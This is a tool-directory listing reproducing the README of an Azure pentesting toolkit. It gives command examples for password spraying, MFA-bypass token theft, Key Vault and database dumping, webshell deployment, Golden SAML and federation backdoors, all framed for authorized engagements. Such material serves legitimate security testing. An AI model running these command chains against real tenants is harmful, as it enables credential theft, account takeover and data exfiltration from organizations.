Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
azure-pentesting-suite — Go toolkit for authorized Azure security assessments: enumerates subscriptions and resources, audits misconfigurations, and attacks public Blob storage anonymously. | Kitploit
Tools/GitHubGitHub/hac01/azure-pentesting-suite
Privilege EscalationReconnaissancePassword AttacksVulnerability AnalysisLateral MovementData ExfiltrationInformation GatheringPost-ExploitationPhishingPenetration TestingCloud SecurityRed Teaming
8217216 days agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHubhac01/azure-pentesting-suite

azure-pentesting-suite

Go toolkit for authorized Azure security assessments: enumerates subscriptions and resources, audits misconfigurations, and attacks public Blob storage anonymously.

View Repository

azure-pentesting-suite (azpt)

🚧 Public beta. azpt is under active development — commands, flags, and output formats may still change between releases. Bug reports and feedback are welcome via GitHub issues.

azpt is a Go toolkit for authorized Azure security assessments. It works from two perspectives:

  • Authenticated (you hold Azure credentials): enumerate subscriptions and resources, and audit them for misconfigurations.
  • Anonymous (no credentials at all): attack public Blob storage the way an external attacker would — list containers, enumerate blob versions, and pull down secret-bearing files that the live site no longer references.

⚠️ Authorized use only. Run this only against tenants, subscriptions, and storage accounts you have explicit written permission to test. The anonymous blob commands touch third-party infrastructure over the internet — scope them to your engagement.

All examples below target a fictional Acme Corp whose static marketing site is hosted from an Azure storage account named acmewebsite (https://acmewebsite.blob.core.windows.net).


Documentation

Full documentation lives in docs/:

  • In-depth guides (docs/guides/) — per feature: how the technique works, the exact Azure RBAC / Microsoft Graph permission it needs, the key flags explained, examples, and OPSEC / detection notes — organized by engagement phase.
  • Scenario walkthroughs (docs/guides/scenarios/) — end-to-end attack narratives that chain commands across phases (token → Global Admin, Golden SAML takeover, PRT theft, consent phishing → M365, managed-identity lateral movement, offline directory hunt, device-code phishing), each with OPSEC and cleanup.
  • Command reference (docs/reference/) — an auto-generated page per command with every flag (name, shorthand, type, default, description). Regenerate with azpt gen-docs docs/reference; the same info prints from azpt <command> --help.

Table of contents

  • Install
  • Quick start
  • Authentication
  • Command reference
  • Walkthrough: anonymous blob attack
  • Findings
  • Output formats
  • Architecture
  • Development
  • Roadmap
  • License

Install

Prebuilt binary

Download the archive for your platform from the latest release, verify it, and extract:

root@kitploit:~
# adjust VERSION/OS/ARCH to match the asset you downloaded
tar -xzf azpt_<VERSION>_<OS>_<ARCH>.tar.gz
sha256sum -c --ignore-missing SHA256SUMS

Binaries are static (CGO_ENABLED=0) and need no runtime dependencies. Builds are published for linux and darwin on amd64 and arm64.

Windows binaries are not published. The Windows-only helpers (prt extract, adconnect sync-creds, DPAPI) still build from source with go build -o azpt.exe . on a Windows host.

From source

Requires Go 1.26+.

root@kitploit:~
git clone https://github.com/hac01/azure-pentesting-suite.git
cd azure-pentesting-suite
go build -o azpt .

This produces a self-contained azpt binary in the repo root. You can also run without building via go run . <command> from the repo directory.


Quick start

No Azure login is needed for the anonymous blob commands:

root@kitploit:~
# One command: probe Acme's storage, enumerate versions, flag secret files
./azpt blob hunt --account acmewebsite

With Azure credentials (az login), assess from the inside — both the resource plane (ARM) and the directory (Entra ID / Graph):

root@kitploit:~
./azpt enum whoami                 # who am I authenticated as?
./azpt enum subscriptions          # what subscriptions can this principal see?
./azpt audit storage               # misconfigured storage accounts
./azpt enum users                  # dump the Entra ID directory (Graph)

A common chain: recover a credential anonymously with blob hunt, log in as that user (az login), check what it can do with enum access, then loot any Key Vaults you can reach:

root@kitploit:~
./azpt enum access                        # token scopes, directory roles, groups, RBAC roles
./azpt enum resources                     # find Key Vaults (type: vaults)
./azpt vault list --vault ext-contractors # secrets, keys, certs in that vault
./azpt vault dump --vault ext-contractors # read every secret value (the loot)

Authentication

The anonymous blob commands need no authentication. Everything else uses the Azure default credential chain, which tries, in order: environment variables, workload identity, managed identity, and the Azure CLI (az login).

root@kitploit:~
az login
./azpt enum subscriptions

Force explicit service-principal auth (useful for a scoped assessment identity) with flags or environment variables. Don't have one yet? az ad sp create-for-rbac --name azpt-assessment --role Reader --scopes /subscriptions/<subscription-id> mints one — see Getting started for the full walkthrough, including the Graph permissions RBAC alone won't grant you:

root@kitploit:~
./azpt --tenant <tenant-id> --client-id <app-id> --client-secret <secret> \
       enum subscriptions

# equivalently:
export AZURE_TENANT_ID=... AZURE_CLIENT_ID=... AZURE_CLIENT_SECRET=...
./azpt enum subscriptions

Certificate-based auth (PFX or PEM):

root@kitploit:~
./azpt --tenant <tenant-id> --client-id <app-id> \
       --certificate ./cert.pfx --cert-password 'P@ss' \
       enum subscriptions

Scope authenticated runs to specific subscriptions with --subscription (repeatable); the default is every subscription the principal can reach:

root@kitploit:~
./azpt --subscription 00000000-1111-2222-3333-444444444444 audit storage

Command reference

🧪 marks a command still in beta: implemented and usable, but less battle-tested than the rest of the suite — expect rougher edges, and please report issues you hit.

azpt talks to three Azure APIs. The ARM commands use the Azure SDK; the Graph commands (Entra ID / directory objects) use a raw Graph token from the same credential; the Blob commands are fully anonymous.

Global flags (before the subcommand): --json, --jsonl (NDJSON, for streaming/BloodHound-style pipelines), --opsec (print detection surface before running), --subscription <id> (repeatable), --tenant, --client-id, --client-secret, --certificate (PFX/PEM), --cert-password, --access-token (repeatable, or AZPT_TOKEN), --refresh-token (FOCI auto-pivot), --cloud (public | | — retargets ARM/Graph/login endpoints for sovereign clouds).

All ARM and Graph calls follow nextLink pagination (no silent truncation on large tenants) and retry on 429/503 honoring Retry-After.

Driving azpt with a stolen token. Any authenticated command accepts a pre-obtained bearer token via --access-token (or AZPT_TOKEN) instead of az login — tokens grabbed from an MFA gap (mfa token), a managed identity (imds), or phishing all work directly. Supply several (ARM, Graph, Storage) and each is routed to the API whose audience it matches:

root@kitploit:~
azpt --access-token "$(cat arm.jwt)" enum resources
azpt --access-token "$ARM" --access-token "$STORAGE" scan --deep --html graph.html

The classic post-exploitation chain, entirely in azpt:

root@kitploit:~
# unlock via the MFA gap → ARM token
T=$(azpt mfa token -u [email protected] -P 'Passw0rd!' -r arm --confirm --json | jq -r .accessToken)
azpt --access-token "$T" webapp loot                 # app settings → MSI secret, storage, DB creds
# …on the compromised app host, mint the managed-identity token off IMDS:
azpt imds loot -c "$ENTRA_CLIENT_ID"                 # ARM + Storage tokens for the app's identity
# pivot with the storage token:
azpt --access-token "$STORAGE_TOKEN" storage containers --account corpstorage

blob flags (all blob subcommands): --account <name> (required), --container <name> (default $web), --api-version <ver> (default 2021-08-06; must be ≥ 2019-12-12 for version enumeration), --endpoint-suffix <suffix> (default core.windows.net; set to core.usgovcloudapi.net / core.chinacloudapi.cn for sovereign clouds).

Run ./azpt <command> --help for the full flag list of any command.


Reconnaissance (domain only)

The recon commands are the front of an engagement: given nothing but a domain name, determine whether the org uses Entra ID, find its tenant ID, map its Azure footprint, and validate usernames — all unauthenticated.

root@kitploit:~
# Is contoso.com on Entra ID, and what's the tenant ID?
./azpt recon realm contoso.com
./azpt recon tenant contoso.com

# One-shot outsider posture (realm + tenant + mail/DNS security)
./azpt recon outsider contoso.com

# Map the Azure footprint by brute-forcing service subdomains.
# Wildcard services (e.g. Front Door) are auto-detected and skipped.
./azpt recon subdomains contoso --threads 30

# Validate candidate usernames (o365 enumeration; does not lock accounts)
./azpt recon users [email protected] [email protected]
./azpt recon users --user-file names.txt

# Generate username patterns from a name and validate them
./azpt recon users --first jane --last doe --domain contoso.com

Password spraying — spray

Once you have valid usernames and a candidate password (e.g. from a breach corpus), test it. This is a single password across many users (a spray, not a per-user brute force that locks accounts), but it is still noisy and can trigger lockouts and alerts.

root@kitploit:~
./azpt spray --user-file valid-users.txt --password 'Spring2026!' --confirm

--confirm is mandatory — omit it and the command refuses to run. Results are classified: valid, valid-but-MFA-required, disabled, locked (stop!), or invalid. Codes that only occur after the password is verified (MFA, expired, CA) are reported as valid credentials.

⚠️ Password spraying is an intrusive, detectable technique. Run it only against tenants you have explicit written authorization to test.

MFA-enforcement gaps — mfa

You have valid credentials for a user but the Azure Portal prompts for MFA. Conditional Access policies are frequently scoped by resource, client app, and device platform (which Entra derives from the User-Agent). If a policy only requires MFA when a request matches one of those conditions, a request that matches none — e.g. an unusual device-platform User-Agent — can obtain a token with no MFA at all. This is the same technique as FindMeAccess, using the ROPC flow.

root@kitploit:~
# Sweep resources / clients / device-platform User-Agents for a gap.
./azpt mfa audit -u [email protected] -P 'Passw0rd!' --confirm
root@kitploit:~
[·] MFA    Azure Resource Manager   Azure PowerShell   Windows 10 / Chrome  — MFA required (Conditional Access enforced)
[·] MFA    Azure Resource Manager   Azure PowerShell   macOS / Safari       — MFA required (Conditional Access enforced)
[+] GAP    Azure Resource Manager   Azure PowerShell   PlayStation 5        — TOKEN ISSUED — no MFA challenge
...
OVERVIEW  10 attempts · 3 MFA gaps · 6 MFA-enforced · 0 blocked

[+] MFA GAP CONFIRMED — 3 combination(s) returned a token with no MFA:
      Azure Resource Manager  via client "Azure PowerShell"  ·  User-Agent "PlayStation 5"

The gap here is a device-platform condition where all platforms are selected — which looks secure, but the evaluation only enforces MFA when the User-Agent matches one of them. A User-Agent matching none (a PlayStation 5, or a made-up string) is granted access. Now grab a usable token and pivot in:

root@kitploit:~
# Auto-tries User-Agents until one bypasses MFA; prints the token + a usage hint.
./azpt mfa token -u [email protected] -P 'Passw0rd!' \
    -r "https://management.azure.com" --confirm
# → ACCESS TOKEN (ARM), plus:
#   Connect-AzAccount -AccessToken $t -AccountId "j.doe"

-r / -c accept either a full URL / app-ID or a short name (storage, graph, keyvault; cli, office, teams). Get a Storage token the same way to reach blob data an ARM token can't:

root@kitploit:~
./azpt mfa token -u [email protected] -P 'Passw0rd!' -r storage --confirm

--confirm is mandatory. ROPC sends real credentials to the token endpoint, so repeated attempts can lock the account and raise sign-in alerts — the sweep is staged (baseline, then User-Agents, then --full widens to every client and resource) to keep the request count low, and --delay <ms> throttles it.

⚠️ ROPC-based MFA testing is intrusive and logged (it appears in Entra sign-in logs as ROPC auth). Authorized engagements only.

Walkthrough: anonymous blob attack

This is the flagship workflow: compromising a static website hosted from Azure Blob storage, with zero credentials. Anonymous listing works when a container's public access level is set to Container; version enumeration additionally requires blob versioning to be enabled on the account.

For a deeper explanation of each step and why it works, see docs/blob-anonymous-attacks.md.

root@kitploit:~
# 1. Is the static-website container anonymously reachable?
./azpt blob check --account acmewebsite index.html
#    -> HTTP 200  accessible=true

# 2. List the $web container (the default). Note the "versioning:" line —
#    if it says ENABLED, historical files may be recoverable.
./azpt blob list --account acmewebsite

# 3. Enumerate versions. This surfaces files removed from the live site,
#    e.g. an old backup archive with CURRENT=false.
./azpt blob versions --account acmewebsite

# 4. Copy the exact VERSION value of the interesting blob and download it.
./azpt blob download --account acmewebsite backups/site-transfer.zip \
    --version-id '2025-03-14T09:22:10.1234567Z' -o loot.zip

# 5. Inspect the loot.
unzip loot.zip

One-shot: blob hunt

hunt automates steps 1–4: it probes a list of common container names, and for each one that is anonymously listable it enumerates versions and reports every secret-bearing file as a finding.

root@kitploit:~
./azpt blob hunt --account acmewebsite
root@kitploit:~
account acmewebsite — anonymously listable containers: [$web]

SEVERITY  CATEGORY   TITLE                                                  RESOURCE
HIGH      blob-anon  Sensitive file exposed anonymously: site-transfer.zip  backups/site-transfer.zip
MEDIUM    blob-anon  Container allows anonymous listing                     $web
MEDIUM    blob-anon  Historical blob versions anonymously retrievable       $web
LOW       blob-anon  Blob versioning is enabled                             $web

Custom container list — override the built-in wordlist:

root@kitploit:~
./azpt blob hunt --account acmewebsite --containers '$web,backups,assets,private'

Custom detection patterns — --pattern takes case-insensitive regexes (repeatable). They are checked before the built-ins and flagged HIGH, so they can outrank the default classification:

root@kitploit:~
./azpt blob hunt --account acmewebsite --pattern 'acme[-_]?corp' --pattern 'prod-'

Nothing about a specific target is hardcoded — the built-in detection is a set of regexes over classes of leak-worthy files (see Findings).


Authenticated looting

Once you hold credentials, two workflows matter most: understanding what the identity can do, and reaching secrets.

What can this identity do? — enum access

One command consolidates the answer, using the token you're already logged in with:

root@kitploit:~
./azpt enum access

It reports, in sections:

  • Identity — user/app + object ID + tenant (decoded from the token)
  • Graph delegated scopes / app roles — what directory calls will succeed
  • Directory roles — e.g. Global Administrator jumps out here
  • Group memberships — from /me/memberOf
  • Azure RBAC role assignments — role name + scope, per subscription

Sections you lack permission for are listed under NOTES rather than failing the whole command. RBAC role assignments use the assignedTo() filter, so group-inherited roles are included, not just directly-assigned ones.

Attack-path graph — scan

The capstone: scan enumerates the logged-in principal's entire effective access — groups, directory roles, RBAC assignments, scopes, and resources — and builds a BloodHound-style attack graph. It flags high-value targets (Key Vaults, storage, SQL, web apps, VMs), attributes each role to the user or the specific group that grants it, and derives scored attack paths with the exact azpt command to exploit each one.

root@kitploit:~
./azpt scan                          # text summary: paths ranked by value
./azpt scan --html graph.html        # interactive Azure-themed graph (open in a browser)
./azpt scan --loot --html graph.html # deep-scan loot: keys, kubeconfigs, LAPS, creds, snapshots, firewalls, ...
./azpt scan -o graph.json            # raw nodes/edges/paths JSON (feed into other tools)

The --html output is a self-contained, dark-themed interactive attack map (no external dependencies, works fully offline) that renders every node with its real Azure service icon. It ships with:

  • a force-directed graph with zoom/pan, a minimap, scope "zones", a light/dark toggle, and PNG/JSON export;
  • a tabbed side panel — Attack Paths (grouped by severity, with a copyable exploit command per path), an Overview that dumps the principal's full effective access (subscriptions with resource/high-value counts and state, directory roles, group memberships, and every RBAC assignment), a Directory dump of the tenant's users / groups / service principals (when the principal can read Graph — e.g. the Directory Readers role — with a live filter), where clicking any object opens a drill-down of its attributes and lets you pin it onto the graph or expand a group/role to its members, a Resources inventory grouped by service type, prebuilt Queries (reach Key Vaults / Storage / SQL, enumerate Owner·Contributor·data-plane·custom roles, etc.), and a Legend;

Membership relations (who is in which group/role) are only gathered with scan --deep, which additionally enumerates group and directory-role members so the web app can plot identity → group → access chains:

root@kitploit:~
./azpt scan --deep --html graph.html   # slower; enables expanding identities on the graph
  • click a path or run a query to highlight its route and dim everything else, and click any node for a detail card of its inbound/outbound relationships.

Example text output:

root@kitploit:~
OVERVIEW  3 groups · 1 directory roles · 2 role assignments · 32 resources · 9 high-value · 18 attack paths

[1] score 70 — Customer Database Access on "mbt-finance" → query databases
      → member of group "CUSTOMER-DATABASE-ACCESS"
      → holds "Customer Database Access" on RG content-static-2
      → which contains Azure SQL server "mbt-finance" (query databases)
      exploit: azpt sql databases --server <name>

Key Vault — vault

A Key Vault holds secrets, keys, and certificates. Seeing a vault via enum resources (ARM) does not imply data-plane access — reading its contents needs a Key Vault access policy (Get/List) or the Key Vault Secrets User RBAC role. Without it you get 403 Forbidden, which is useful signal.

root@kitploit:~
# Full inventory: secrets, keys, and certificate names (no values)
./azpt vault list --vault ext-contractors

# Read one secret value
./azpt vault get --vault ext-contractors --secret db-connection-string

# Dump every secret value (the loot); redirect to a file with --json
./azpt vault dump --vault ext-contractors
./azpt --json vault dump --vault ext-contractors > vault-loot.json

vault list reports each content type independently, so a vault where you can list secrets but not keys still shows what you can see — and reveals exactly which data-plane permissions you hold. A certificate's private key is often retrievable via vault get --secret <cert-name>, since Key Vault exposes it through the secret of the same name.

For sovereign clouds or an unusual endpoint, pass --vault-url instead of --vault.

Azure SQL — sql

Enumerate and query Azure SQL databases. Two auth modes:

  • Entra ID token (default) — uses your current credential. Works when the server has an Entra ID admin and your principal is a mapped database user.
  • SQL login (--user/--password) — needed when the server has no Entra ID admin (you'll see Login failed ... not currently configured to accept this token on the token path). Try credentials recovered elsewhere — e.g. Key Vault secrets — here.
root@kitploit:~
# Entra ID auth
./azpt sql databases --server mbt-finance
./azpt sql tables    --server mbt-finance --database Finance
./azpt sql query     --server mbt-finance --database Finance -q "SELECT name FROM sys.tables"
./azpt sql dump      --server mbt-finance --database Finance --table dbo.Customers --limit 50

# SQL login (recovered creds)
./azpt sql databases --server mbt-finance -U alissa-suarez -P '<password>'

The server firewall must permit your source IP either way. Table names in dump are validated as plain identifiers before use (they can't be parameterized in T-SQL), so injection via --table isn't possible. sql query is read-only by default — DROP/DELETE/UPDATE/EXEC/xp_cmdshell and other mutating statements are refused unless --allow-write is passed, so an authorized assessment can't accidentally destroy data.

Authenticated storage — storage

The authenticated counterpart to the anonymous blob commands: uses your Entra ID credential (equivalent to az storage ... --auth-mode login) to reach blob containers/blobs and Storage Tables. Requires a data-plane role such as Storage Blob Data Reader or Storage Table Data Reader — seeing the account via enum resources (control plane) doesn't grant it; a 403 means you lack the data role.

root@kitploit:~
# Blobs
./azpt storage containers --account custdatabase
./azpt storage blobs      --account custdatabase --container backups
./azpt storage download   --account custdatabase --container backups --blob db.bacpac -o db.bacpac

# Storage Tables (often overlooked — can hold raw records)
./azpt storage tables   --account custdatabase
./azpt storage entities --account custdatabase --table customers
./azpt storage entities --account custdatabase --table customers --filter "PartitionKey eq '1'" --limit 100

blob vs storage: blob is the external, unauthenticated attacker view (anonymous listing, version enumeration); storage is the authenticated view once you hold a credential. Different threat models, both included.

Findings

Findings carry a stable ID, severity, evidence, and remediation. The full catalog with descriptions and fixes lives in docs/findings.md. Summary:

STOR-* (authenticated audit) and BLOB-* (anonymous) are two sides of the same coin: STOR-001 says "public access is configured"; BLOB-001 proves it by actually listing the container from the outside.


Output formats

Human-readable tables by default; add the global --json flag for structured output suitable for jq or ingestion into a report pipeline:

root@kitploit:~
./azpt --json audit storage | jq '.[] | select(.severity=="HIGH")'
./azpt --json blob hunt --account acmewebsite > acme-blob-findings.json

Findings are sorted most-severe-first in table output.


Architecture

root@kitploit:~
main.go
internal/
  recon/    unauthenticated outsider recon: realm, tenant, DNS posture,
            subdomain enum (wildcard-aware), user enum, password spray
  scan/     attack-path graph builder + self-contained Azure-themed HTML viz
  azauth/   credential chain, raw token acquisition (ARM + Graph), JWT claims
  azure/    SDK wrappers: subscriptions, resources, storage audit + data plane
            (blobs/tables), key vault, RBAC
  azsql/    Azure SQL client (Entra ID token or SQL login) — query/dump
  graph/    Microsoft Graph REST client (users, groups, SPs, apps, memberOf)
  blob/     anonymous Blob REST client (list/versions/download) + secret classifier
  audit/    pure detection rules over resource views -> findings
  model/    shared types: Resource, Finding, Severity, Report
  output/   JSON + human-readable table rendering
  cli/      cobra command tree, shared bootstrap()

Design principles:

  • Detection is decoupled from I/O. Audit rules and the blob secret classifier are pure functions over flattened views, so they unit-test without any network access.
  • Everything becomes a model.Finding. Authenticated and anonymous modules emit into the same type, so --json and future reports treat them uniformly.
  • Anonymous by default where it can be. The blob client speaks the raw Blob REST API and never constructs a credential.

Development

root@kitploit:~
go build ./...     # compile everything
go test ./...      # run unit tests (no Azure connection required)
go vet ./...       # static checks
gofmt -l .         # list files needing formatting (should be empty)

The blob client's tests exercise the real request-building and XML-parsing path against a local httptest server, including version enumeration, pagination, and the 403 PublicAccessNotPermitted case — no live storage account needed.


Roadmap

  • Outsider recon (domain only): realm, tenant ID, DNS posture, subdomains
  • User enumeration + password spraying (Entra ID)
  • MFA-enforcement gap auditing (ROPC across resources/clients/User-Agents)
  • Token-driven auth: --access-token / AZPT_TOKEN + FOCI refresh redemption
  • Managed-identity token grabbing via IMDS (VM + App Service endpoints)
  • App Service looting: app settings, connection strings, Kudu creds
  • Conditional Access policy enumeration with gap flags (enum ca)
  • Enumeration (ARM): subscriptions, resources
  • Enumeration (Graph): users, groups, service principals, apps, org, whoami
  • Access review: enum access — token scopes, directory roles, groups, RBAC

License

Released under the MIT License.

azpt is an offensive security tool intended for authorized testing only. Use it exclusively against tenants and subscriptions you own or have explicit written permission to assess. You are responsible for how you use it.

Download Tool
CommandAuthAPIDescription
recon realm <domain>❌IdentityIs the domain backed by Entra ID? (Managed/Federated)
recon tenant <domain>❌IdentityDiscover the tenant ID (OpenID config)
recon outsider <domain>❌Identity+DNSFull outsider recon: realm, tenant, MX/SPF/DMARC/DKIM/MTA-STS
recon subdomains <base>❌DNSEnumerate Azure service subdomains (App Service, Storage, Vault, SQL, ...)
recon users❌IdentityValidate whether usernames exist in Entra ID
spray❌IdentityPassword-spray one password across usernames (authorized only)
mfa audit❌IdentityFind MFA-enforcement gaps (ROPC across resources/clients/User-Agents)
mfa token❌IdentityObtain an access token through an MFA gap (auto-tries User-Agents)
mfa refresh❌IdentityRedeem a refresh token for another resource's token (FOCI)
mfa devicecode❌IdentityDevice-code phishing lure → capture tokens after victim signs in
imds token❌IMDSMint a managed-identity token on a compromised resource (run on-box)
imds loot❌IMDSGrab MI tokens for ARM, Graph, Storage, and Key Vault at once
enum ca✅GraphEnumerate Conditional Access policies and flag MFA gaps
enum deployments✅ARMList ARM deployment history, flag secret-bearing parameters
webapp list/settings/creds✅ARMApp Service inventory, app settings, Kudu publishing creds
webapp exec✅ARM/KuduRun a command on a site via Kudu (RCE)
webapp loot✅ARMEvery app: settings + connection strings + Kudu creds, flag secrets
storage keys✅ARMList a storage account's access keys
storage sas✅ARMMint an account SAS token via ARM
vm list / vm run✅ARMList VMs / run a command via RunCommand
automation list/loot✅ARMAutomation runbooks, variables, credential names
loot keys✅ARMSweep keys/connection strings from Cosmos, ACR, Redis, Service Bus, Event Hub, Cognitive, Batch, App Config, SignalR, Maps
loot apim✅ARMAPI Management named values (incl. secrets)
loot logicapps / loot datafactory✅ARMLogic App definitions / Data Factory linked services
aks list / aks kubeconfig✅ARMList AKS clusters / grab the cluster-admin kubeconfig
enum approles✅GraphEnumerate Graph app-role grants, flag privesc paths (→ Global Admin)
enum privroles✅GraphPrivileged directory-role holders (active + PIM-eligible)
enum grants✅GraphOAuth2 delegated grants (illicit / over-consent), dangerous scopes flagged
enum laps✅GraphRetrieve Windows LAPS local-admin passwords from Entra
enum bitlocker✅GraphRetrieve BitLocker recovery keys from Entra
enum dynamicgroups✅GraphDynamic (rule-based) groups — self-join / privesc surface
enum guests / enum devices✅GraphGuest (B2B) users / registered devices
enum risky✅GraphStale/risky hunt: guests, sync SP, break-glass, apps with secrets
enum intune / intune list✅GraphList Intune-managed devices
intune script✅GraphDeploy a PowerShell script to a device group (SYSTEM RCE)
recon tenantinfo❌IdentityDeep outsider recon: tenant ID, federation, Seamless SSO, on-prem sync
entra create-app✅GraphCreate app + SP + secret (controllable persistence identity)
entra reset-password✅GraphReset a user's password (account takeover)
token decode❌—Decode a JWT's claims (identity, scopes, roles, wids→role names, expiry)
elevate-access✅ARMGlobal Admin → User Access Administrator at tenant root (Entra→Azure pivot)
entra add-member/add-owner✅GraphAdd a member/owner to a group/app/SP (privesc & persistence)
entra grant✅GraphCreate an OAuth2 consent grant (illicit consent)
entra invite / entra tap✅GraphInvite a B2B guest / create a Temporary Access Pass (auth bypass)
scan --loot✅ARM+GraphDeep-scan loot: Function App keys, AKS kubeconfig, LAPS, BitLocker, APIM, DB firewalls, snapshots, custom roles, stale creds
scan --bloodhound✅—Export the Entra+ARM graph as BloodHound CE OpenGraph JSON
enum adminunits✅GraphAdministrative Units and their scoped role members (AU-scoped admin abuse)
enum identities✅ARMMap managed identities to their host resources
enum lighthouse✅ARMAzure Lighthouse delegations (external tenants managing this sub)
enum pip✅ARMList public IP addresses across the subscription scope
entra update-profile✅GraphUpdate a user's profile attributes (dynamic group abuse)
app add-secret✅GraphAdd a client secret to an app registration (persistence/privesc)
app add-federated✅GraphAdd a federated identity credential (external-IdP persistence)
webapp functionkeys✅ARMFunction App host keys (master key → admin API / RCE)
disk list / disk export✅ARMList disks/snapshots / read-SAS export for offline VHD looting
storage shares / storage queues✅ARMList Azure Files shares / Storage queues
storage peek / storage files✅StoragePeek queue message content / list file-share files (data plane)
loot aci✅ARM/dataContainer Instances env vars
loot appconfig 🧪✅ARM/dataApp Configuration key-values
cosmos list/dump/table✅ARM+dataCosmos DB accounts, databases, containers, document reads, Table API
containerapp loot/exec/steal-token✅ARMContainer App secrets + env vars / exec into replica / steal MI token
iot list/devices/invoke✅ARM+dataIoT Hub keys, device identities, direct-method invocation (device RCE)
backup vaults/items/restore✅ARMRecovery Services vaults, backup items + recovery points, restore disks
db list/query✅ARM+dataPostgreSQL/MySQL server enumeration and query (Entra or DB login)
blob containers❌BlobList all containers on a storage account (with --sas for service-level SAS)
m365 mail/files/sites✅GraphLoot mailbox, OneDrive, and SharePoint with a Graph token
blob brute❌DNS/BlobDiscover storage accounts by name and probe anonymous containers
recon takeover❌DNSFlag dangling Azure CNAMEs (subdomain takeover)
audit network✅ARMAudit NSG internet exposure and public IPs
audit keyvault✅ARMAudit Key Vault public access, purge/soft-delete, broad policies
audit rbac✅ARMAudit RBAC hygiene: Owner sprawl, UAA, risky custom roles
enum subscriptions✅ARMList subscriptions visible to the current principal
enum resources✅ARMList every resource across the subscription scope (--fast uses Resource Graph; --access adds a column of the RBAC role you hold on each)
enum kql✅ARMRun an arbitrary Azure Resource Graph (KQL) query across the scope
enum users✅GraphList Entra ID directory users
enum groups✅GraphList Entra ID directory groups
enum service-principals✅GraphList service principals / enterprise apps
enum apps✅GraphList app registrations, with secret/cert counts
enum org✅GraphShow tenant/organization info and verified domains
enum whoami✅GraphShow the currently-authenticated user (/me)
enum access✅ARM+GraphShow your effective access: token scopes, directory roles, group memberships, RBAC roles
scan✅ARM+GraphMap the user's access as a BloodHound-style attack-path graph (+ HTML)
audit storage✅ARMAudit storage accounts (public access, TLS, transport, firewall)
vault list✅KVList secrets, keys, and certificates in a Key Vault
vault get --secret <n>✅KVRead a single Key Vault secret value
vault dump✅KVList and read every secret in a Key Vault
sql databases✅SQLList databases on an Azure SQL server
sql tables✅SQLList tables (with row counts) in a database
sql query -q <sql>✅SQLRun a read-only query (mutations need --allow-write)
sql dump --table <t>✅SQLDump rows from a table
storage containers✅StorageList blob containers (authenticated)
storage blobs✅StorageList blobs in a container (authenticated)
storage download✅StorageDownload a blob (authenticated)
storage tables✅StorageList Storage Tables in an account
storage entities✅StorageQuery/dump a Storage Table's rows
blob check <path>❌BlobHEAD a blob to test anonymous reachability
blob list❌BlobList a container anonymously (--versions, --delimiter /, --prefix)
blob versions❌BlobEnumerate blob versions — surfaces old/superseded/deleted files
blob download <path>❌BlobDownload a blob, optionally a specific --version-id
blob hunt❌BlobProbe containers, enumerate versions, and flag secret-bearing files
vm show✅ARMDetailed VM info: user data, public/private IPs, tags, admin user
vm extensions✅ARMList VM extensions (Custom Script Extension credential leakage)
vm steal-token✅ARMSteal a managed-identity token from a VM via IMDS (RunCommand)
enum synced✅GraphList on-premises synced users with Security Identifiers (SIDs)
enum powerplatform environments 🧪✅PowerAppsList Power Platform environments (Dataverse instances)
enum powerplatform apps 🧪✅PowerAppsList Power Apps canvas applications
enum powerplatform tables 🧪✅DataverseList Dataverse tables (entity definitions)
enum powerplatform query 🧪✅DataverseQuery rows from a Dataverse table via OData
webapp deploy✅KuduUpload a file to a web app via Kudu VFS (webshell deployment)
token extract❌—Extract tokens from an MSAL token cache file (refresh + access)
m365 teams/search-mail/search-files✅GraphTeams channels, mail search, SharePoint/OneDrive search
m365 scan✅GraphScan M365 data for secrets, passwords, credentials (14 patterns)
devops projects/serviceconnections/variablegroups/pipelines✅DevOpsEnumerate Azure DevOps orgs: projects, service connections (SP/tenant/subscription exposed), variable groups, pipelines
devops preview✅DevOpsResolve a pipeline's final YAML after template/variable expansion without running it
devops run✅DevOpsQueue a real pipeline run and capture its build log (executes as the pipeline's service-connection identity)
arm deploy-script✅ARMRun code in a transient ACI container via deploymentScripts (RCE), optionally attaching a managed identity
persistence grant-rbac✅ARMAssign an RBAC role (e.g. Owner) to self or a principal at any scope (privesc/persistence)
persistence attach-identity✅ARMAttach a user-assigned managed identity to a resource (privesc via steal-token)
aks kubeconfig --user✅ARMFetch the Entra-authenticated user kubeconfig (works on clusters with local accounts disabled)
k8s secrets✅K8sDump every Kubernetes secret in a namespace (or the whole cluster)
k8s serviceaccounts✅K8sList service accounts, flagging ones federated via Azure Workload Identity
k8s pods✅K8sList pods and the service account each runs as
k8s rbac✅K8sEnumerate cluster/role bindings, flagging cluster-admin/wildcard/pod-exec/secrets-read privesc paths
k8s exec✅K8sRun a command in a pod (non-interactive RCE, as that pod's service account)
k8s steal-token✅K8sMint a service-account token via the TokenRequest API (works with no mounted token secret)
k8s pivot-azure✅K8s→EntraSteal a workload-identity-federated SA token and exchange it for a real Azure AD access token
harvest❌—Loot az CLI / Az PowerShell credential stores on disk (tokens, SP secrets; DPAPI-protected stores on Windows)
prt nonce 🧪❌IdentityFetch a server nonce (srv_challenge) for PRT cookie signing
prt cookie 🧪❌IdentityBuild a signed x-ms-RefreshTokenCredential SSO cookie from a PRT + session key (KDF v2)
prt auth 🧪❌IdentityFull PRT SSO chain: nonce → cookie → authorize → access + refresh token
prt extract 🧪❌IdentityOn-host (Windows): pull a fresh SSO cookie from BrowserCore.exe and redeem it (ROADtoken)
device register✅DRSRegister a rogue device (join) → device cert/key — PRT prerequisite, device-CA bypass, persistence
federation list✅GraphShow a domain's federation configuration
federation backdoor✅GraphConvert a managed domain to Federated, trusting an attacker STS (AADInternals ConvertTo-AADIntBackdoor)
federation golden-saml 🧪❌IdentityForge a signed SAML assertion for any user and redeem it for tokens (Golden SAML)
federation remove✅GraphDelete a federation configuration (revert to Managed / cleanup)
entra phish-app create 🧪✅GraphMint a multi-tenant OAuth consent-phishing app + consent URLs (GraphRunner Invoke-InjectOAuthApp)
entra phish-app serve❌IdentityLocal listener that catches the consent auth code and redeems it for tokens
